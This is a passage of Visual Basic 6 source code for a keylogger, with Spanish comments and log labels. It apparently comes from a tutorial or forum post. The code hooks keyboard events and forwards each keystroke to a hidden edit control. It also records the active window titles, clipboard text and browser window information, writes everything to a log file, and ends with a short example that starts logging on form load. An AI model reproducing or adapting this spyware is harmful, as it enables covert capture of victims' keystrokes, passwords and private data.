                        SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & String(100, "-") & vbCrLf
                    End If

                End If

            End If

        Case WM_DRAWCLIPBOARD
            If IsClipboardFormatAvailable(vbCFText) <> 0 Then
                If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hwnd)
                SaveLog "[" & Now & "] Portapaples: " & vbCrLf & String(100, "-") & vbCrLf _
                    & Clipboard.GetText & vbCrLf & String(100, "-") & vbCrLf
            End If
    End Select

End Function

Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
    On Error Resume Next

    Select Case wParam

        Case WM_KEYDOWN
            If lParam <> 222 And lParam <> 186 And lParam <> 162 And lParam <> 20 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If

        Case WM_SYSKEYDOWN
            If lParam = 162 Or lParam = 165 Or lParam = 50 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If

    End Select

End Function

Private Function GetBrowserInfo(ByVal sServer As String) As String

    Dim lpData  As Long, hData   As Long, sData  As String
    Dim hServer As Long, hTopic  As Long, hItem  As Long
    Dim hConv   As Long, idInst  As Long

    Const sTopic = "WWW_GetWindowInfo"
    Const sItem = "0xFFFFFFFF"

    If DdeInitialize(idInst, 0, 0, 0) <> 0 Then Exit Function

    hServer = DdeCreateStringHandle(idInst, sServer, CP_WINANSI)
    hTopic = DdeCreateStringHandle(idInst, sTopic, CP_WINANSI)
    hItem = DdeCreateStringHandle(idInst, sItem, CP_WINANSI)

    hConv = DdeConnect(idInst, hServer, hTopic, ByVal 0&)

    If hConv Then
        hData = DdeClientTransaction(0, 0, hConv, hItem, CF_TEXT, XTYP_REQUEST, 1000, 0)
        lpData = DdeAccessData(hData, 0)
        GetBrowserInfo = PtrToString(lpData)

        DdeUnaccessData hData
        DdeFreeDataHandle hData
        DdeDisconnect hConv
    End If

    DdeFreeStringHandle idInst, hServer
    DdeFreeStringHandle idInst, hTopic
    DdeFreeStringHandle idInst, hItem
    DdeUninitialize idInst

End Function

Private Function GetWindowTextLength(ByVal hwnd As Long) As Long
    GetWindowTextLength = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&)
End Function

Private Function GetWindowText(ByVal hwnd As Long) As String
    Dim TextLen As Long
    TextLen = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&)
    GetWindowText = String(TextLen, Chr$(0))
    SendMessage hwnd, WM_GETTEXT, TextLen + 1, GetWindowText
End Function

Private Sub SaveLog(ByVal sText As String)
    Print #hFile, sText
    SendMessage hEdit, WM_SETTEXT, 0&, vbNullString
End Sub

 Private Function ClassNameOf(ByVal hwnd As Long) As String
    Dim sClassName As String, Ret As Long
    sClassName = Space(256)
    Ret = GetClassName(hwnd, sClassName, 256)
    If Ret Then ClassNameOf = Left$(sClassName, Ret)
 End Function

 Private Function PtrToString(lpwString As Long) As String
   Dim Buffer() As Byte
   Dim nLen As Long
   If lpwString Then
      nLen = lstrlenW(lpwString) * 2
      If nLen Then
         ReDim Buffer(0 To (nLen - 1)) As Byte
         CopyMemory Buffer(0), ByVal lpwString, nLen
         PtrToString = StrConv(Buffer, vbUnicode)
      End If
   End If
End Function

Ejemplo de Uso:

Option Explicit

Private Sub Form_Load()
    'Inicializamos el KeyLogger
    StarKeyLogger (App.Path & "\Log.txt")
End Sub

Private Sub Form_Unload(Cancel As Integer)
    'Detenemos el KeyLogger
    Call EndKeyLogger
End Sub